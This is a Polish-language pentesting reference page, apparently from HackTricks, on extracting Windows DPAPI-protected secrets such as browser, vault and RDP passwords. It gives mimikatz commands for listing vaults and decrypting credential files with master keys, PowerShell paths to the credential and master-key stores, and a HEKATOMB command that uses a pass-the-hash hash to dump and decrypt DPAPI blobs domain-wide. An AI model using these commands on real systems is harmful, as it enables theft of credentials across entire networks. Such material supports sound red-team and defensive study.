DPAPI - Extracting Passwords

Zacznij od zera i opanuj hakowanie AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres stanowi gorące miejsce spotkań dla profesjonalistów technologii i cyberbezpieczeństwa z każdej dziedziny.

Co to jest DPAPI

Interfejs programistyczny ochrony danych (DPAPI) jest głównie wykorzystywany w systemie operacyjnym Windows do symetrycznego szyfrowania asymetrycznych kluczy prywatnych, wykorzystując tajemnice użytkownika lub systemu jako istotne źródło entropii. Ten podejście upraszcza szyfrowanie dla programistów, umożliwiając im szyfrowanie danych przy użyciu klucza pochodzącego z tajemnic logowania użytkownika lub, w przypadku szyfrowania systemowego, tajemnic uwierzytelniania domeny systemu, eliminując konieczność zarządzania ochroną klucza szyfrowania przez programistów.

Dane chronione przez DPAPI

Wśród danych osobistych chronionych przez DPAPI znajdują się:

  • Hasła i dane autouzupełniania Internet Explorera i Google Chrome'a

  • Hasła do kont e-mailowych i wewnętrznych kont FTP dla aplikacji takich jak Outlook i Windows Mail

  • Hasła do współdzielonych folderów, zasobów, sieci bezprzewodowych i Skarbca systemu Windows, w tym klucze szyfrowania

  • Hasła do połączeń pulpitu zdalnego, paszportu .NET oraz klucze prywatne do różnych celów szyfrowania i uwierzytelniania

  • Hasła sieci zarządzane przez Menedżera poświadczeń oraz dane osobiste w aplikacjach korzystających z CryptProtectData, takich jak Skype, MSN Messenger i inne

Lista Skarbca

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Pliki uwierzytelniające

Chronione pliki uwierzytelniające mogą znajdować się w:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Pobierz informacje o poświadczeniach, używając mimikatz dpapi::cred, w odpowiedzi możesz znaleźć interesujące informacje, takie jak zaszyfrowane dane i guidMasterKey.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Możesz użyć modułu mimikatz dpapi::cred z odpowiednim parametrem /masterkey do odszyfrowania:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Klucze główne

Klucze DPAPI używane do szyfrowania kluczy RSA użytkownika są przechowywane w katalogu %APPDATA%\Microsoft\Protect\{SID}, gdzie {SID} to Identifier zabezpieczeń tego użytkownika. Klucz DPAPI jest przechowywany w tym samym pliku co klucz główny chroniący prywatne klucze użytkowników. Zazwyczaj jest to 64 bajty losowych danych. (Zauważ, że ten katalog jest chroniony, więc nie można go wyświetlić za pomocą dir z wiersza polecenia, ale można go wyświetlić z poziomu PS).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

To jest to, jak będą wyglądać klucze główne użytkownika:

Zazwyczaj każdy klucz główny to zaszyfrowany klucz symetryczny, który może odszyfrować inne treści. Dlatego wydobycie zaszyfrowanego klucza głównego jest interesujące, aby później odszyfrować te inne treści zaszyfrowane nim.

Wydobycie klucza głównego i odszyfrowanie

Sprawdź post https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ dla przykładu, jak wydobyć klucz główny i go odszyfrować.

SharpDPAPI

SharpDPAPI to port C# pewnych funkcji DPAPI z projektu @gentilkiwi Mimikatz.

HEKATOMB

HEKATOMB to narzędzie, które automatyzuje wydobycie wszystkich użytkowników i komputerów z katalogu LDAP oraz wydobycie klucza zapasowego kontrolera domeny za pomocą RPC. Skrypt rozwiąże adresy IP wszystkich komputerów i wykona smbclient na wszystkich komputerach, aby pobrać wszystkie bloki DPAPI wszystkich użytkowników i odszyfrować wszystko za pomocą klucza zapasowego domeny.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

Dzięki wydobytym z listy komputerów LDAP możesz znaleźć każdą podsieć, nawet jeśli ich nie znałeś!

"Ponieważ prawa administratora domeny to za mało. Zhackuj je wszystkie."

DonPAPI

DonPAPI może automatycznie wydobywać zabezpieczone DPAPI tajemnice.

Referencje

RootedCON to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Last updated